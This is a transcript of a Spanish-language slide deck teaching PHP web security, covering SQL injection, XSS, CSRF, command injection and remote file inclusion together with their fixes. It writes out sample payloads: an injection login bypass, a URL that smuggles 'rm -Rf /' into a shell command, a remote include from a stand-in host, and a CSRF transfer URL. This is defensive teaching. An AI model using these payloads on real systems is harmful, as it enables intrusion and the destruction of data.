Seguridad en PHP
-
Upload
jamesmarshall -
Category
Documents
-
view
22 -
download
2
description
Transcript of Seguridad en PHP
PHP
SEGURIDAD(o cmo evitar que los malos nos jodan vivos)
PHP
Hoy en da, hacer una web que no sea esttica puede ser una pesadilla por la cantidad de ataques existentes
Algo tan simple como
ya es una vulnerabilidad en una pgina webS, lo digo en serioMuy en
serio!
PHP
2 reglas bsicas:NUNCA confiar en datos que provengan del usuario
"Filter your input, Escape your output"
Adems de stas hay otras a tener en cuenta, pero sin duda stas son las ms importantes
PHP
No confiar en datos que vienen del usuario (i)Si el usuario puede modificar el valor de una variable, no se debe confiar nunca en este datoproductos.php?id=4
El usuario puede modificar fcilmente el id de producto a visualizar, y poner, en vez de un nmero, cualquier otra cosa
Asegurarse que $_GET['id'] es un nmero!!!
PHP
No confiar en datos que vienen del usuario (ii)En el caso anterior est muy claro que el usuario puede modificar el id que nos enva.
En el formulario que aparece
aqu al lado, un usuario tambin
puede modificar el valor del mesCmo? Modificando el html
y luego enviando el formulario a su destino
O usando plugins para el navegador
10 minutos de ejercicio!
PHP
No confiar en datos que vienen del usuario (iii)Visto lo visto con el ejercicio anterior, espero que todos comprobis que lo que os llega a travs de formularios son valores vlidos antes de empezar a trabajar con ellos
Datos que puede modificar el usuario:$_GET, $_POST, $_REQUEST, $_COOKIE, $_FILES* , $_SERVER*
* Algunos campos nicamente
PHP
Filter your input, Escape your output (i)Filter your input se refiere a lo que ya hemos comentado antes... no confiar en los datos que enva el usuario
Cada vez que enviamos datos a un medio, hemos de evitar que caracteres especiales para ese medio que puedan existir en los datos que enviamos se interpreten como tales:Comillas (simples o dobles) en bases de datos
, &, ', " en html
', ", $, ;, ` al ejecutar comandos en la terminal
PHP
Filter your input, Escape your output (ii)SQL Injection (i)Sucede cuando no escapamos las ' o " en una consulta a la base de datos
$sql = "SELECT * FROM usuarios
WHERE username='{$_POST['username']}'
AND password='{$_POST['password']}'";
Si nos envan usuario 'pepe' y contrasea 'patata'
$sql = "SELECT * FROM usuarios WHERE username='pepe' AND password='patata';
Sin peligro!
PHP
Filter your input, Escape your output (iii)SQL Injection (ii)Un
atacante podra introducir esto como username:
' OR id=1 -- (tal cual, con la comilla includa)
Query generado:
$sql = "SELECT * FROM usuarios WHERE username='' OR id=1 -- ' AND
password='blabla'"
A partir de -- es comentario
El atacante podra autenticarse como cualquier usuario!
PHP
Filter your input, Escape your output (iv)SQL Injection (iii)Un atacante podra usar una SQL Injection para mltiples propsitos:
Login sin usuario / contrasea
Obtener registros de la base de datos (datos bancarios, personales, passwords...)
Eliminar registros o tablas de la BD
PHP
Filter your input, Escape your output (v)SQL Injection (iv)Solucin: Escapar las comillas (y algunos otros caracteres)
Manera: Usar mtodos especficos del driver de la base de datos:$mysqli->real_escape_string($variable)
$pdo->quote($variable)
Si no hay mtodo disponible, addslashes($var)
Manera 2: Prepared Statements
PHP
Filter your input, Escape your output (vi)Cross-Site Scripting (XSS) (i)Cuando los datos que escribe el usuario se muestran en una pgina web
El usuario puede escribir html que se interpretar como tal
Posibilidades enormes para un atacante, la ms habitual insertar un o que cargue una pgina/script con cdigo malvolo
XSS ataca a los usuarios de la web, no a la web en si misma (habitualmente)
PHP
Filter your input, Escape your output (vii)Cross-Site Scripting (XSS) (ii)Si un atacante consigue meter cdigo html en una pgina que puede ver mucha gente, ya la hemos jodido
Habitualmente: foros, perfiles de usuario
En caso que no pueda, igualmente podemos (bueno, nuestros
usuarios) estar jodidos:
vulnerable.php?id=
Usa un redireccionador tipo tinyurl para el ataque anterior
PHP
Filter your input, Escape your output (viii)Cross-Site Scripting (XSS) (iii)Para protegernos (y a nuestros usuarios): Evitar que se interprete el cdigo html que entran nuestros usuarios
htmlspecialchars($texto_usuario);
PHP
Cross-Site Request Forgery (CSRF) (i)Un atacante envia una peticin a un sitio web como si proviniera de un usuario legtimo
ejemploUn usuario se ha logueado en www.mipagina.com
En otra ventana del navegador, visita http://malos.com/, donde
hay este cdigo:
Esto provoca que el navegador del usuario lance una peticin a mipagina.com/logout.php, que parece legtima, y desloguea al usuario
PHP
Cross-Site Request Forgery (CSRF) (ii)Puede afectar tanto a peticiones GET como POST
El caso del logout es ms o menos inofensivo, aunque molesto
lacaixa.com/traspasar_fondos.php?from=mi_cuenta&to=cuenta_atacante&cantidad=10000ya no es tan inofensivo eh?
PHP
Cross-Site Request Forgery (CSRF) (iii)Para protegernos (y a nuestros usuarios)
Uso de tokens nicos entre peticionesGenerar un token aleatorio y guardarlo en la sesin
En la siguiente peticin que haya, comprobar la existencia de dicho token (que se habr enviado en la url o mediante un input hidden)
Si existe y es el mismo que el de la sesin, todo correcto: procesamos la peticin
Si no existe o es diferente: posible ataque. No hacemos nada
PHP
Cross-Site Request Forgery (CSRF) (iv)Regenerar un token cada vez
Es muy difcil (si no imposible) que un atacante pueda realizar una peticin hacindose pasar por un usuario legtimo acertando el token que toque
Es un ataque indiscriminado, aunque con pocas posibilidades de xito excepto a sitios de primera lneaNecesitamos que el usuario se haya autenticado en la pgina y luego visite la web malos.com
PHP
Ejecutar comandos (i)Imaginad que queremos mostrar al usuario
los archivos que hay en una carpeta, el nombre de la cual nos la
proporciona el usuario:
listar.php?carpeta=imagenes
El cdigo de listar.php incluye:
$comando = "ls ".$_GET['carpeta'];
echo exec($comando);
PHP
Ejecutar comandos (ii)Si el usuario accede a:
listar.php?carpeta=imagenes; rm -Rf /
La instruccin a ejecutar quedara como:
ls imagenes; rm -Rf /
2 comandos! listar el contenido de la carpeta imgenes... y luego borrar todos los archivos del disco duro!
Evitarlo usando escapeshellcmd() y escapeshellarg()
PHP
Incluir archivos remotos (i)Es (o era) bastante comn acceder a
un sitio con una url similar a
index.php?pagina=productos
Internamente, index.php realiza una cosa similar a
require_once($_GET['pagina'].'.php');
Qu pasa si un atacante accede a
index.php?pagina=http://malos.com/script
Bingo... la hemos jodido!
PHP
Incluir archivos remotos (ii)http://malos.com/script.php ser una pgina con cdigo PHP, que descargaremos y ejecutaremos en nuestro servidor, lo que significa que estaremos ejecutando cdigo PHP creado por un atacante... y que probablemente no tendr nada de bueno
Para evitarlo (i):Pasar la pgina como un nmero y consultar un array de pginas
Poner un ./ al inicio del require (de esta forma se intentara incluir './http://malos.com/script.php', y fallara
PHP
Incluir archivos remotos (iii)Para evitarlo (ii):Desactivar la funcionalidad de incluir archivos remotos en php (directiva allow_url_include)
PHP
TODO:Validacin servidor obligatoria!!!(validacin cliente opcional)
Robo sesiones
Usuario root bd
Muokkaa otsikon tekstimuotoa napsauttamalla
Muokkaa jsennyksen tekstimuotoa napsauttamallaToinen jsennystasoKolmas jsennystasoNeljs jsennystasoViides jsennystasoKuudes jsennystasoSeitsems jsennystasoKahdeksas jsennystasoYhdekss jsennystaso